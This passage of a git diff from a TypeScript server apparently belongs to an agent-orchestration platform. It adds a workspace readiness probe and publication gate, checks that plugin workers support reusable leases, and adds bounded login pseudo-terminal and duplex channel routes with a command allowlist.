+              [WORKSPACE_READINESS_USER_EMAIL_HEADER]: input.handoffSubject.email,
+            }
+          : {}),
+      },
+      signal: AbortSignal.timeout(input.timeoutMs ?? WORKSPACE_READINESS_PROBE_TIMEOUT_MS),
+    });
+  } catch (error) {
+    return {
+      ok: false,
+      reason: "unreachable",
+      readiness: null,
+      detail: error instanceof Error ? error.message : String(error),
+    };
+  }
+
+  const payload = await response.json().catch(() => null) as
+    | { status?: unknown; workspace?: unknown }
+    | null;
+
+  if (!response.ok) {
+    const readiness = isWorkspaceReadinessShape(payload?.workspace) ? payload.workspace : null;
+    return { ok: false, reason: "http_error", readiness, detail: `HTTP ${response.status}` };
+  }
+  if (payload?.status !== "ok") {
+    return { ok: false, reason: "unhealthy_payload", readiness: null, detail: String(payload?.status ?? "missing") };
+  }
+  if (
+    payload.workspace
+    && typeof payload.workspace === "object"
+    && !("companyId" in payload.workspace)
+  ) {
+    // A guest that implements readiness but predates the company binding is not
+    // a legacy transport-only guest. Treat the partial contract as an identity
+    // disagreement so auto compatibility mode cannot publish an unopenable clone.
+    return {
+      ok: false,
+      reason: "identity_mismatch",
+      readiness: null,
+      detail: `expected company ${input.identity.companyId}, got missing`,
+    };
+  }
+  if (
+    input.handoffSubject
+    && payload.workspace
+    && typeof payload.workspace === "object"
+    && !("authHandoffUserId" in payload.workspace)
+  ) {
+    return {
+      ok: false,
+      reason: "identity_mismatch",
+      readiness: null,
+      detail: `expected handoff user ${input.handoffSubject.userId}, got missing`,
+    };
+  }
+  if (!isWorkspaceReadinessShape(payload.workspace)) {
+    // Either the token was rejected or the guest predates this contract. Both
+    // mean the control plane cannot prove user readiness, so neither may publish.
+    return { ok: false, reason: "readiness_missing", readiness: null, detail: null };
+  }
+
+  const readiness = payload.workspace;
+  if (
+    readiness.instanceId !== input.identity.instanceId
+    || readiness.executionWorkspaceId !== input.identity.executionWorkspaceId
+    || readiness.companyId !== input.identity.companyId
+  ) {
+    return {
+      ok: false,
+      reason: "identity_mismatch",
+      readiness,
+      detail: `expected ${input.identity.instanceId}/${input.identity.executionWorkspaceId}/${input.identity.companyId}, got ${readiness.instanceId}/${readiness.executionWorkspaceId}/${readiness.companyId}`,
+    };
+  }
+  if (!readiness.databaseReady || !readiness.cloneDataReady || !readiness.authHandoffReady) {
+    return { ok: false, reason: "not_ready", readiness, detail: readiness.failurePhase };
+  }
+  if (input.handoffSubject && readiness.authHandoffUserId !== input.handoffSubject.userId) {
+    return {
+      ok: false,
+      reason: "identity_mismatch",
+      readiness,
+      detail: `expected handoff user ${input.handoffSubject.userId}, got ${readiness.authHandoffUserId}`,
+    };
+  }
+
+  return { ok: true, readiness };
+}
+
+/** Current board identities that must survive the clone for it to publish ready. */
+export async function listManagedWorkspaceHandoffSubjects(
+  db: Db,
+  companyId: string,
+): Promise<Array<{ userId: string; email: string }>> {
+  const rows = await db
+    .select({ userId: authUsers.id, email: authUsers.email })
+    .from(authUsers)
+    .innerJoin(
+      companyMemberships,
+      and(
+        eq(companyMemberships.principalType, "user"),
+        eq(companyMemberships.principalId, authUsers.id),
+        eq(companyMemberships.companyId, companyId),
+        eq(companyMemberships.status, "active"),
+      ),
+    );
+  return rows.flatMap((row) => {
+    const userId = row.userId?.trim();
+    const email = row.email?.trim();
+    return userId && email ? [{ userId, email }] : [];
+  });
+}
+
+/** Prove that every current board member can use the advertised handoff. */
+export async function probeManagedWorkspaceHandoffSubjects(input: {
+  db: Db;
+  healthUrl: string;
+  identity: ManagedWorkspaceIdentity;
+  fetchImpl?: typeof fetch;
+}): Promise<WorkspaceReadinessProbeResult> {
+  const subjects = await listManagedWorkspaceHandoffSubjects(input.db, input.identity.companyId);
+  if (subjects.length === 0) {
+    return {
+      ok: false,
+      reason: "not_ready",
+      readiness: null,
+      detail: "no active board user is eligible for workspace login handoff",
+    };
+  }
+  const results = await Promise.all(subjects.map((handoffSubject) => probeManagedWorkspaceReadiness({
+    healthUrl: input.healthUrl,
+    identity: input.identity,
+    fetchImpl: input.fetchImpl,
+    handoffSubject,
+  })));
+  return results.find((result) => !result.ok) ?? results[0]!;
+}
+
+/**
+ * How strictly a managed start is gated on the guest's protected readiness.
+ *
+ *  - `auto` (default): a guest that *reports* readiness must satisfy it, and a
+ *    guest serving a different instance/workspace is always rejected. A guest
+ *    that reports no readiness block at all — an older checkout, which a managed
+ *    worktree can legitimately be — falls back to the semantic transport check
+ *    and is logged. Failing that case closed would turn an upgrade lag into an
+ *    outage of every existing workspace, which is a worse reliability outcome
+ *    than the defect this gate exists to fix. Such a workspace is still not
+ *    silently "usable": it has no handoff plugin, so `Open workspace` reports the
+ *    snapshot-local credential fallback rather than pretending to be ready.
+ *  - `strict`: a missing readiness block also blocks publication. Intended for
+ *    deployments that have finished rolling the new guest build everywhere.
+ */
+export type WorkspaceReadinessGateMode = "auto" | "strict";
+
+export function resolveWorkspaceReadinessGateMode(
+  env: NodeJS.ProcessEnv = process.env,
+): WorkspaceReadinessGateMode {
+  return env.PAPERCLIP_WORKSPACE_READINESS_GATE?.trim().toLowerCase() === "strict" ? "strict" : "auto";
+}
+
+/**
+ * Whether a rejected probe must stop the runtime from being published.
+ *
+ * Everything except "this guest does not implement the contract" is a real
+ * disagreement about the clone and always blocks.
+ */
+export function shouldBlockPublicationOnReadiness(
+  result: Extract<WorkspaceReadinessProbeResult, { ok: false }>,
+  mode: WorkspaceReadinessGateMode = resolveWorkspaceReadinessGateMode(),
+): boolean {
+  if (result.reason === "readiness_missing") return mode === "strict";
+  return true;
+}
+
+/**
+ * How long a freshly started workspace may take to satisfy readiness.
+ *
+ * Deliberately short. The transport readiness probe has already required a
+ * `status: ok` response from this guest by the time the gate runs, so the only
+ * thing left to absorb is a one-off blip — not a cold start. A longer budget
+ * would add latency to every managed start to no benefit.
+ */
+export const WORKSPACE_READINESS_GATE_TIMEOUT_MS = 3_000;
+const WORKSPACE_READINESS_GATE_INTERVAL_MS = 250;
+
+/**
+ * Poll readiness until it passes or the gate budget runs out.
+ *
+ * `identity_mismatch` and `readiness_missing` are terminal and return
+ * immediately: another instance owning the port, or a guest that does not
+ * implement the contract, are not conditions that polling can change.
+ */
+export async function waitForManagedWorkspaceReadiness(input: {
+  healthUrl: string;
+  identity: ManagedWorkspaceIdentity;
+  fetchImpl?: typeof fetch;
+  timeoutMs?: number;
+  now?: () => number;
+  sleep?: (ms: number) => Promise<void>;
+}): Promise<WorkspaceReadinessProbeResult> {
+  const now = input.now ?? Date.now;
+  const sleep = input.sleep ?? ((ms: number) => new Promise<void>((resolve) => { setTimeout(resolve, ms); }));
+  const deadline = now() + (input.timeoutMs ?? WORKSPACE_READINESS_GATE_TIMEOUT_MS);
+  let last: WorkspaceReadinessProbeResult = {
+    ok: false,
+    reason: "unreachable",
+    readiness: null,
+    detail: "readiness gate did not run",
+  };
+  for (;;) {
+    last = await probeManagedWorkspaceReadiness({
+      healthUrl: input.healthUrl,
+      identity: input.identity,
+      fetchImpl: input.fetchImpl,
+    });
+    if (last.ok || last.reason === "identity_mismatch" || last.reason === "readiness_missing") return last;
+    if (now() >= deadline) return last;
+    await sleep(WORKSPACE_READINESS_GATE_INTERVAL_MS);
+  }
+}
+
+/** Log a rejected probe once, with the machine reason kept intact for operators. */
+export function logManagedWorkspaceReadinessRejection(input: {
+  executionWorkspaceId: string;
+  healthUrl: string;
+  result: Extract<WorkspaceReadinessProbeResult, { ok: false }>;
+}) {
+  logger.warn(
+    {
+      executionWorkspaceId: input.executionWorkspaceId,
+      healthUrl: input.healthUrl,
+      reason: input.result.reason,
+      detail: input.result.detail,
+      seedState: input.result.readiness?.seedState ?? null,
+      failurePhase: input.result.readiness?.failurePhase ?? null,
+    },
+    "managed workspace readiness probe rejected the runtime",
+  );
+}
diff --git a/server/src/services/plugin-environment-driver.ts b/server/src/services/plugin-environment-driver.ts
index 077864bc84e..6ef33f982fb 100644
--- a/server/src/services/plugin-environment-driver.ts
+++ b/server/src/services/plugin-environment-driver.ts
@@ -30,6 +30,25 @@ import {
 import { pluginRegistryService } from "./plugin-registry.js";
 import type { PluginWorkerManager } from "./plugin-worker-manager.js";
 
+/**
+ * The worker methods a sandbox provider must advertise before the host reuses
+ * a provider lease across runs. The host resumes a lease through
+ * `environmentResumeLease`, ends it through `environmentReleaseLease`, and tears
+ * down a stale lease through `environmentDestroyLease`. The reuse path destroys
+ * the stale lease when a resume fails and then acquires a fresh lease, so a
+ * provider that omits any of the three methods can strand the stale lease and
+ * can never complete the reuse path.
+ *
+ * The runtime capability normalizer maps `reusableLeases` to these same methods,
+ * so the acquisition guard, the effective-capability snapshot, and the published
+ * provider-capabilities value all read one source and cannot drift.
+ */
+export const REUSABLE_LEASE_WORKER_METHODS = [
+  "environmentResumeLease",
+  "environmentReleaseLease",
+  "environmentDestroyLease",
+] as const;
+
 export interface ReadyPluginWorkerRecovery {
   pluginKeys: readonly string[];
   startWorker(plugin: { id: string; pluginKey: string }): Promise<boolean>;
@@ -44,12 +63,22 @@ export interface ReadyPluginEnvironmentDriver {
   description?: string;
   configSchema: PluginEnvironmentDriverDeclaration["configSchema"];
   supportsReusableLeases?: PluginEnvironmentDriverDeclaration["supportsReusableLeases"];
+  sandboxCapabilities?: PluginEnvironmentDriverDeclaration["sandboxCapabilities"];
+  /**
+   * The running worker for this exact plugin advertises ALL reusable-lease
+   * lifecycle methods (`REUSABLE_LEASE_WORKER_METHODS`: resume, release, and
+   * destroy). The published provider-capabilities value grants reusable leases
+   * only when the declaration allows them AND this flag is true, so presentation
+   * matches the acquisition guard, which also verifies the same methods live.
+   */
+  reusableLeaseMethodsVerified: boolean;
   supportsInteractiveSetup?: PluginEnvironmentDriverDeclaration["supportsInteractiveSetup"];
   interactiveSetupConnectionTypes?: PluginEnvironmentDriverDeclaration["interactiveSetupConnectionTypes"];
   supportsTemplateCapture?: PluginEnvironmentDriverDeclaration["supportsTemplateCapture"];
   templateRefKind?: PluginEnvironmentDriverDeclaration["templateRefKind"];
   templateConfigBinding?: PluginEnvironmentDriverDeclaration["templateConfigBinding"];
   supportsTemplateDelete?: PluginEnvironmentDriverDeclaration["supportsTemplateDelete"];
+  supportsLoginPty?: PluginEnvironmentDriverDeclaration["supportsLoginPty"];
 }
 
 export function pluginDriverProviderKey(config: Pick<PluginEnvironmentConfig, "pluginKey" | "driverKey">): string {
@@ -130,6 +159,35 @@ export async function resolvePluginSandboxProviderDriverByKey(input: {
   return null;
 }
 
+/**
+ * Resolve the sandbox-provider driver declaration from one exact plugin id.
+ *
+ * A driver key is only unique inside a single manifest. Two installed plugins
+ * can declare the same driver key. A lease pins the plugin that acquired it
+ * through `metadata.pluginId`. Use this resolver, not the by-key resolver, when
+ * the caller must read the declaration from that exact plugin. The by-key
+ * resolver returns the first installed plugin with the key, which can be a
+ * different, even disabled, plugin.
+ *
+ * This resolver fails closed. It returns `null` when the plugin id is unknown,
+ * or when that plugin no longer declares a `sandbox_provider` driver with the
+ * given key.
+ */
+export async function resolvePluginSandboxProviderDriverById(input: {
+  db: Db;
+  pluginId: string;
+  driverKey: string;
+}): Promise<{ plugin: Awaited<ReturnType<ReturnType<typeof pluginRegistryService>["getById"]>>; driver: PluginEnvironmentDriverDeclaration } | null> {
+  const pluginRegistry = pluginRegistryService(input.db);
+  const plugin = await pluginRegistry.getById(input.pluginId);
+  if (!plugin) return null;
+  const driver = plugin.manifestJson.environmentDrivers?.find(
+    (candidate) => candidate.driverKey === input.driverKey && candidate.kind === "sandbox_provider",
+  ) as PluginEnvironmentDriverDeclaration | undefined;
+  if (!driver) return null;
+  return { plugin, driver };
+}
+
 export async function listReadyPluginEnvironmentDrivers(input: {
   db: Db;
   workerManager?: PluginWorkerManager;
@@ -173,6 +231,13 @@ export async function listReadyPluginEnvironmentDrivers(input: {
     if (!input.workerManager.isRunning(plugin.id)) {
       continue;
     }
+    // The plugin is running, so read the live worker's verified methods once per
+    // plugin. A provider advertises reusable leases only when its worker carries
+    // all reuse lifecycle methods; the declaration alone never grants them.
+    const workerMethods = new Set(input.workerManager.getWorker(plugin.id)?.supportedMethods ?? []);
+    const reusableLeaseMethodsVerified = REUSABLE_LEASE_WORKER_METHODS.every(
+      (method) => workerMethods.has(method),
+    );
     rows.push(
       ...(plugin.manifestJson.environmentDrivers ?? [])
         .filter((driver) => driver.kind === "sandbox_provider")
@@ -184,12 +249,15 @@ export async function listReadyPluginEnvironmentDrivers(input: {
           description: driver.description,
           configSchema: driver.configSchema,
           supportsReusableLeases: driver.supportsReusableLeases,
+          sandboxCapabilities: driver.sandboxCapabilities,
+          reusableLeaseMethodsVerified,
           supportsInteractiveSetup: driver.supportsInteractiveSetup,
           interactiveSetupConnectionTypes: driver.interactiveSetupConnectionTypes,
           supportsTemplateCapture: driver.supportsTemplateCapture,
           templateRefKind: driver.templateRefKind,
           templateConfigBinding: driver.templateConfigBinding,
           supportsTemplateDelete: driver.supportsTemplateDelete,
+          supportsLoginPty: driver.supportsLoginPty,
         })),
     );
   }
diff --git a/server/src/services/plugin-host-services.ts b/server/src/services/plugin-host-services.ts
index 09f40e250bd..185524fc97e 100644
--- a/server/src/services/plugin-host-services.ts
+++ b/server/src/services/plugin-host-services.ts
@@ -545,6 +545,7 @@ const PROVIDER_SPAN_ATTR_ALLOWLIST: ReadonlySet<string> = new Set<string>([
   SPAN_ATTRS.packWallMs,
   SPAN_ATTRS.transferWallMs,
   SPAN_ATTRS.transferGuardCount,
+  SPAN_ATTRS.transferDirection,
 ]);
 
 /** The subset of allowed keys that carry a finite number. */
@@ -557,11 +558,15 @@ const PROVIDER_SPAN_NUMERIC_ATTRS: ReadonlySet<string> = new Set<string>([
 /** The closed value set for the `outcome` attribute. */
 const KNOWN_SPAN_OUTCOMES: ReadonlySet<string> = new Set(["ok", "skipped", "failed"]);
 
+/** The closed value set for the `transfer.direction` attribute. */
+const KNOWN_TRANSFER_DIRECTIONS: ReadonlySet<string> = new Set(["inbound", "outbound"]);
+
 /**
  * Re-clamp the worker-sent attributes at the trust boundary. Drop every key that
  * is not on the allowlist. Re-map `provider` through `normalizeProviderFamily`,
- * bound `outcome` to its closed set, and keep a numeric attribute only when it
- * is a finite number. The result holds only bounded, low-cardinality values.
+ * bound `outcome` and `transfer.direction` each to its closed set, and keep a
+ * numeric attribute only when it is a finite number. The result holds only
+ * bounded, low-cardinality values.
  */
 export function clampProviderSpanAttributes(
   raw: Record<string, unknown> | undefined,
@@ -578,6 +583,10 @@ export function clampProviderSpanAttributes(
       if (typeof value === "string" && KNOWN_SPAN_OUTCOMES.has(value)) clamped[key] = value;
       continue;
     }
+    if (key === SPAN_ATTRS.transferDirection) {
+      if (typeof value === "string" && KNOWN_TRANSFER_DIRECTIONS.has(value)) clamped[key] = value;
+      continue;
+    }
     if (PROVIDER_SPAN_NUMERIC_ATTRS.has(key)) {
       if (typeof value === "number" && Number.isFinite(value)) clamped[key] = value;
       continue;
@@ -690,7 +699,11 @@ export function buildHostServices(
   pluginKey: string,
   eventBus: PluginEventBus,
   notifyWorker?: (method: string, params: unknown) => void,
-  options: { pluginWorkerManager?: PluginWorkerManager; manifest?: import("@paperclipai/shared").PaperclipPluginManifestV1 } = {},
+  options: {
+    pluginWorkerManager?: PluginWorkerManager;
+    manifest?: import("@paperclipai/shared").PaperclipPluginManifestV1;
+    heartbeatRuntimeEnv?: Record<string, string | undefined>;
+  } = {},
 ): HostServices & { dispose(): void } {
   const registry = pluginRegistryService(db);
   const stateStore = pluginStateStore(db);
@@ -730,6 +743,7 @@ export function buildHostServices(
   });
   const heartbeat = heartbeatService(db, {
     pluginWorkerManager: options.pluginWorkerManager,
+    runtimeEnv: options.heartbeatRuntimeEnv,
   });
   const projects = projectService(db);
   const executionWorkspaces = executionWorkspaceService(db);
@@ -2397,36 +2411,55 @@ export function buildHostServices(
         // handling here, just the core wake. An assignee-less or
         // closed-status issue is a silent no-op, matching the route's own
         // guard.
-        if (
-          params.actorUserId
-          && issue.assigneeAgentId
-          && issue.status !== "done"
-          && issue.status !== "cancelled"
-        ) {
-          await heartbeat.wakeup(issue.assigneeAgentId, {
-            source: "automation",
-            triggerDetail: "system",
-            reason: "issue_commented",
-            payload: {
+        //
+        // The guard re-fetches the issue instead of trusting the pre-insert
+        // `issue` snapshot: a concurrent close/unassign/reassign landing
+        // between the initial fetch and here would otherwise wake the wrong
+        // (or no-longer-relevant) agent off stale state.
+        //
+        // The comment is already committed above, so this best-effort wake
+        // must never change that outcome: a failed re-fetch is logged and
+        // falls back to the in-hand snapshot rather than rejecting
+        // createComment — a rejection would surface to the caller as a failed
+        // write and invite a retry that inserts a duplicate comment.
+        if (params.actorUserId) {
+          const postCommentIssue = (await issues.getById(issue.id).catch((err) => {
+            logger.warn(
+              { err, issueId: issue.id, commentId: comment.id },
+              "failed to re-fetch issue for plugin-relayed human comment wake; falling back to pre-insert snapshot",
+            );
+            return null;
+          })) ?? issue;
+          if (
+            postCommentIssue.assigneeAgentId
+            && postCommentIssue.status !== "done"
+            && postCommentIssue.status !== "cancelled"
+          ) {
+            await heartbeat.wakeup(postCommentIssue.assigneeAgentId, {
+              source: "automation",
+              triggerDetail: "system",
+              reason: "issue_commented",
+              payload: {
+                issueId: issue.id,
+                commentId: comment.id,
+                mutation: "comment",
+              },
+              requestedByActorType: "user",
+              requestedByActorId: params.actorUserId,
+              contextSnapshot: {
+                issueId: issue.id,
+                taskId: issue.id,
+                sourceCommentId: comment.id,
+                wakeReason: "issue_commented",
+                source: `plugin:${pluginKey}`,
+              },
+            }).catch((err) => logger.warn({
+              err,
               issueId: issue.id,
               commentId: comment.id,
-              mutation: "comment",
-            },
-            requestedByActorType: "user",
-            requestedByActorId: params.actorUserId,
-            contextSnapshot: {
-              issueId: issue.id,
-              taskId: issue.id,
-              sourceCommentId: comment.id,
-              wakeReason: "issue_commented",
-              source: `plugin:${pluginKey}`,
-            },
-          }).catch((err) => logger.warn({
-            err,
-            issueId: issue.id,
-            commentId: comment.id,
-            agentId: issue.assigneeAgentId,
-          }, "failed to wake assignee on plugin-relayed human comment"));
+              agentId: postCommentIssue.assigneeAgentId,
+            }, "failed to wake assignee on plugin-relayed human comment"));
+          }
         }
 
         return comment;
diff --git a/server/src/services/plugin-manifest-validator.ts b/server/src/services/plugin-manifest-validator.ts
index 9af6b61c3cd..23d04ec7275 100644
--- a/server/src/services/plugin-manifest-validator.ts
+++ b/server/src/services/plugin-manifest-validator.ts
@@ -128,8 +128,13 @@ export function pluginManifestValidator(): PluginManifestValidator {
         };
       }
 
-      const details = result.error.errors.map((issue) => ({
-        path: issue.path,
+      const details = result.error.issues.map((issue) => ({
+        // Zod 4 types an issue path as `PropertyKey[]`, which can include a
+        // symbol. A manifest path only has string or number segments, so map a
+        // rare symbol segment to its string form for a stable message.
+        path: issue.path.map((segment) =>
+          typeof segment === "symbol" ? segment.toString() : segment,
+        ),
         message: issue.message,
       }));
 
diff --git a/server/src/services/plugin-worker-manager.ts b/server/src/services/plugin-worker-manager.ts
index 28d152541ec..96f8c67a39b 100644
--- a/server/src/services/plugin-worker-manager.ts
+++ b/server/src/services/plugin-worker-manager.ts
@@ -37,6 +37,10 @@ import {
   isJsonRpcSuccessResponse,
   JsonRpcParseError,
   JsonRpcCallError,
+  SETUP_TOKEN_PTY_OUTPUT_NOTIFICATION,
+  SETUP_TOKEN_PTY_EXIT_NOTIFICATION,
+  DUPLEX_CHANNEL_DATA_NOTIFICATION,
+  DUPLEX_CHANNEL_EXIT_NOTIFICATION,
 } from "@paperclipai/plugin-sdk";
 import type {
   JsonRpcId,
@@ -53,6 +57,7 @@ import type {
   InitializeParams,
 } from "@paperclipai/plugin-sdk";
 import { getActiveStepContext } from "@paperclipai/adapter-utils/acpx-engine/startup-timing";
+import { CLAUDE_SETUP_TOKEN_COMMAND } from "@paperclipai/adapter-claude-local/server";
 import { logger } from "../middleware/logger.js";
 import { traceparentFromContextToken } from "../instrumentation.js";
 
@@ -133,6 +138,97 @@ const MAX_WORKER_MESSAGE_CHARS = 128 * 1024 * 1024;
  */
 const MAX_EXECUTE_LOG_TOTAL_CHARS = 128 * 1024 * 1024;
 
+/** Maximum characters for one live login pseudo-terminal output notification. */
+const MAX_SETUP_TOKEN_PTY_CHUNK_CHARS = 1_000_000;
+/** Maximum cumulative output characters for one login pseudo-terminal route. */
+const MAX_SETUP_TOKEN_PTY_TOTAL_CHARS = 8 * 1024 * 1024;
+/** The default open timeout for one login pseudo-terminal route, in milliseconds. */
+const SETUP_TOKEN_PTY_OPEN_TIMEOUT_MS = 30_000;
+/** The default close timeout for one login pseudo-terminal route, in milliseconds. */
+const SETUP_TOKEN_PTY_CLOSE_TIMEOUT_MS = 10_000;
+/**
+ * The fixed non-secret error a disallowed login command returns. The manager
+ * forwards only the compile-time `CLAUDE_SETUP_TOKEN_COMMAND` to the worker
+ * pseudo-terminal. It rejects any other command before the worker call, so a
+ * future caller cannot spawn an arbitrary process in the sandbox.
+ */
+const SETUP_TOKEN_PTY_COMMAND_NOT_ALLOWED = "SETUP_TOKEN_PTY_COMMAND_NOT_ALLOWED";
+/** The fixed non-secret error a rejected second credential open returns. */
+const SETUP_TOKEN_PTY_ROUTE_BUSY = "SETUP_TOKEN_PTY_ROUTE_BUSY";
+/** The fixed non-secret error a failed open returns. */
+const SETUP_TOKEN_PTY_OPEN_FAILED = "SETUP_TOKEN_PTY_OPEN_FAILED";
+
+// Bounds and timeouts for the generic duplex channel route. The route mirrors the
+// login pseudo-terminal route, but it carries no command allowlist and adds seven
+// explicit bounds the pseudo-terminal route lacks. Each bound ends the route when
+// it passes the limit, so a faulty or hostile worker cannot flood the host.
+/** The default maximum characters for one duplex channel data notification. */
+const MAX_DUPLEX_CHANNEL_CHUNK_CHARS = 1_000_000;
+/**
+ * The default maximum cumulative characters the host buffers for one duplex
+ * channel route before a data listener attaches. A worker that streams data
+ * before the consumer binds cannot grow the host buffer without limit.
+ */
+const MAX_DUPLEX_CHANNEL_PRE_BIND_CHARS = 8 * 1024 * 1024;
+/**
+ * The default maximum number of data frames the host buffers for one duplex
+ * channel route before a data listener attaches.
+ */
+const MAX_DUPLEX_CHANNEL_PRE_BIND_FRAMES = 10_000;
+/**
+ * The margin the pre-open hold ceiling keeps above the pre-bind buffered-frame
+ * bound (`maxDuplexChannelPreBindFrames`, see below). A worker can batch frames
+ * with the open reply, so the host reads them before it knows the bound worker
+ * session id and before it can apply the per-frame bounds. The host holds these
+ * frames and replays them after the bind. The hold ceiling bounds that hold, so
+ * a worker that floods frames before it replies to the open cannot make the
+ * host hold an unbounded number of frames.
+ *
+ * The hold ceiling is derived from the buffered bound, not a fixed constant: a
+ * fixed ceiling equal to or below a caller-configured (or even the default)
+ * buffered bound would let the hold drop the frame that should instead trip the
+ * buffered bound during replay, so the route would never end. One frame of
+ * margin is enough — it lets the frame that exceeds the buffered bound reach
+ * the hold, so the replay's buffered-bound check, not the hold, ends the route.
+ */
+const DUPLEX_CHANNEL_PRE_OPEN_HOLD_MARGIN_FRAMES = 1;
+/**
+ * The default maximum number of in-flight host→worker requests for one duplex
+ * channel route. A worker that never replies cannot make the host hold an
+ * unbounded number of pending requests.
+ */
+const MAX_DUPLEX_CHANNEL_PENDING_REQUESTS = 256;
+/** The default maximum characters for one host→worker duplex channel write. */
+const MAX_DUPLEX_CHANNEL_WRITE_CHARS = 1_000_000;
+/**
+ * The default maximum number of protocol errors for one duplex channel route.
+ * A protocol error is one malformed or mismatched data frame. The route ends
+ * when the count passes this budget, so a flood of bad frames bounds the route.
+ */
+const MAX_DUPLEX_CHANNEL_PROTOCOL_ERRORS = 100;
+/**
+ * The default maximum cumulative bytes the host forwards for one duplex channel
+ * route over its whole life. The host counts the bytes of every inbound chunk,
+ * before and after a data listener attaches. The route ends when the count
+ * passes this cap, so an active route with a bound listener cannot stream an
+ * unbounded number of bytes.
+ */
+const MAX_DUPLEX_CHANNEL_TOTAL_DATA_BYTES = 256 * 1024 * 1024;
+/**
+ * The default maximum lifetime for one duplex channel route, in milliseconds.
+ * The host starts a timer when the route opens and ends the route when the
+ * timer expires, so a route cannot live without limit.
+ */
+const MAX_DUPLEX_CHANNEL_DURATION_MS = 60 * 60 * 1000;
+/** The default open timeout for one duplex channel route, in milliseconds. */
+const DUPLEX_CHANNEL_OPEN_TIMEOUT_MS = 30_000;
+/** The default close timeout for one duplex channel route, in milliseconds. */
+const DUPLEX_CHANNEL_CLOSE_TIMEOUT_MS = 10_000;
+/** The fixed non-secret error a rejected second duplex channel open returns. */
+const DUPLEX_CHANNEL_ROUTE_BUSY = "DUPLEX_CHANNEL_ROUTE_BUSY";
+/** The fixed non-secret error a failed duplex channel open returns. */
+const DUPLEX_CHANNEL_OPEN_FAILED = "DUPLEX_CHANNEL_OPEN_FAILED";
+
 /** Minimum time between two dropped-`execute.log` debug records. The router
  * rate-limits the record so a flood of dropped chunks writes at most one line
  * per window with a running count. */
@@ -282,6 +378,53 @@ export interface WorkerStartOptions {
     /** Max total characters one execute call may stream through `execute.log`. */
     maxTotalCharsPerExecute?: number;
   };
+
+  /**
+   * Bounds and timeouts for the login pseudo-terminal route. The
+   * defaults bound one output notification, the cumulative output per route, and
+   * the open and the close timeouts. A test overrides them to exercise the
+   * terminalize paths without huge inputs or long waits.
+   */
+  setupTokenPtyLimits?: {
+    /** Max characters for one login pseudo-terminal output notification. */
+    maxChunkChars?: number;
+    /** Max cumulative output characters for one login pseudo-terminal route. */
+    maxTotalChars?: number;
+    /** The open timeout for one login pseudo-terminal route, in milliseconds. */
+    openTimeoutMs?: number;
+    /** The close timeout for one login pseudo-terminal route, in milliseconds. */
+    closeTimeoutMs?: number;
+  };
+
+  /**
+   * Bounds and timeouts for the generic duplex channel route. The defaults bound
+   * one data notification, the pre-bind buffer, the in-flight request count, one
+   * host→worker write, the protocol-error budget, and the open and close
+   * timeouts. A test overrides them to exercise each bound without huge inputs or
+   * long waits.
+   */
+  duplexChannelLimits?: {
+    /** Max characters for one duplex channel data notification. */
+    maxChunkChars?: number;
+    /** Max cumulative characters the host buffers before a data listener attaches. */
+    maxPreBindBufferedChars?: number;
+    /** Max number of data frames the host buffers before a data listener attaches. */
+    maxPreBindBufferedFrames?: number;
+    /** Max number of in-flight host→worker requests for one route. */
+    maxPendingRequests?: number;
+    /** Max characters for one host→worker duplex channel write. */
+    maxWriteChars?: number;
+    /** Max number of protocol errors for one route before the route ends. */
+    maxProtocolErrors?: number;
+    /** Max cumulative bytes the host forwards for one route over its whole life. */
+    maxTotalDataBytes?: number;
+    /** The maximum lifetime for one route, in milliseconds. */
+    maxDurationMs?: number;
+    /** The open timeout for one duplex channel route, in milliseconds. */
+    openTimeoutMs?: number;
+    /** The close timeout for one duplex channel route, in milliseconds. */
+    closeTimeoutMs?: number;
+  };
 }
 
 /**
@@ -322,6 +465,74 @@ export type ExecuteLogSink = (
   chunk: string,
 ) => void | Promise<void>;
 
+/**
+ * The input the manager needs to open one live login pseudo-terminal route
+ * The manager mints the host route identifier; the caller supplies
+ * only the sandbox scope, the provider lease id, and the fixed command.
+ */
+export interface SetupTokenPtyOpenInput {
+  driverKey: string;
+  companyId: string;
+  environmentId: string;
+  providerLeaseId: string;
+  command: string;
+}
+
+/**
+ * One live login pseudo-terminal session the manager hands to the login
+ * transport. The shape matches the sandbox provider setup-token
+ * pseudo-terminal session, so the transport consumes it with no adapter.
+ */
+export interface SetupTokenPtyHostSession {
+  /** Registers the one output listener. The session streams each raw chunk in order. */
+  onData(listener: (chunk: string) => void): void;
+  /** Writes raw input bytes to the pseudo-terminal. */
+  write(data: string): void;
+  /** Resolves with the child exit code when the command ends or the route terminalizes. */
+  wait(): Promise<{ exitCode: number | null }>;
+  /** Stops the child process. Safe to call more than one time. */
+  kill(): void;
+  /** Closes the route and releases the terminal. Safe to call more than one time. */
+  close(): Promise<void>;
+}
+
+/**
+ * The input the manager needs to open one generic duplex channel. The manager
+ * mints the host route identifier. The caller supplies the sandbox scope, the
+ * provider lease id, and the command. The duplex channel carries no command
+ * allowlist, so the caller owns the command.
+ */
+export interface DuplexChannelOpenInput {
+  driverKey: string;
+  companyId: string;
+  environmentId: string;
+  providerLeaseId: string;
+  /**
+   * The command argument vector the worker runs on the channel. Element 0 is the
+   * program. The worker runs the vector with no shell, so a shell metacharacter
+   * in an element cannot inject a command.
+   */
+  command: readonly string[];
+}
+
+/**
+ * One live duplex channel the manager hands to a caller. The shape matches the
+ * login pseudo-terminal session, so a caller consumes one live bidirectional
+ * stream with the same methods.
+ */
+export interface DuplexChannelHostSession {
+  /** Registers the one data listener. The session streams each raw chunk in order. */
+  onData(listener: (chunk: string) => void): void;
+  /** Writes raw input bytes to the channel. */
+  write(data: string): void;
+  /** Resolves with the child exit code when the command ends or the route ends. */
+  wait(): Promise<{ exitCode: number | null }>;
+  /** Stops the child process. Safe to call more than one time. */
+  kill(): void;
+  /** Closes the route and releases the channel. Safe to call more than one time. */
+  close(): Promise<void>;
+}
+
 /**
  * Host-owned route for one active execute call. The host mints the invocation
  * id and stores the exact company id and log sink here. A worker never selects
@@ -403,6 +614,27 @@ export interface PluginWorkerHandle {
    */
   notify(method: string, params: unknown): void;
 
+  /**
+   * Open one live login pseudo-terminal route on this worker. The
+   * manager mints the host route identifier, reserves the route, drives the open,
+   * binds the worker session identifier one time, and returns a session the login
+   * transport drives. It permits one active credential pseudo-terminal per worker.
+   */
+  openSetupTokenPtySession(
+    input: SetupTokenPtyOpenInput,
+  ): Promise<SetupTokenPtyHostSession>;
+
+  /**
+   * Open one generic duplex channel on this worker. The manager mints the host
+   * route identifier, reserves the route, drives the open, binds the worker
+   * session identifier one time, and returns a session a caller drives. It
+   * permits one active duplex channel per worker. It enforces five explicit
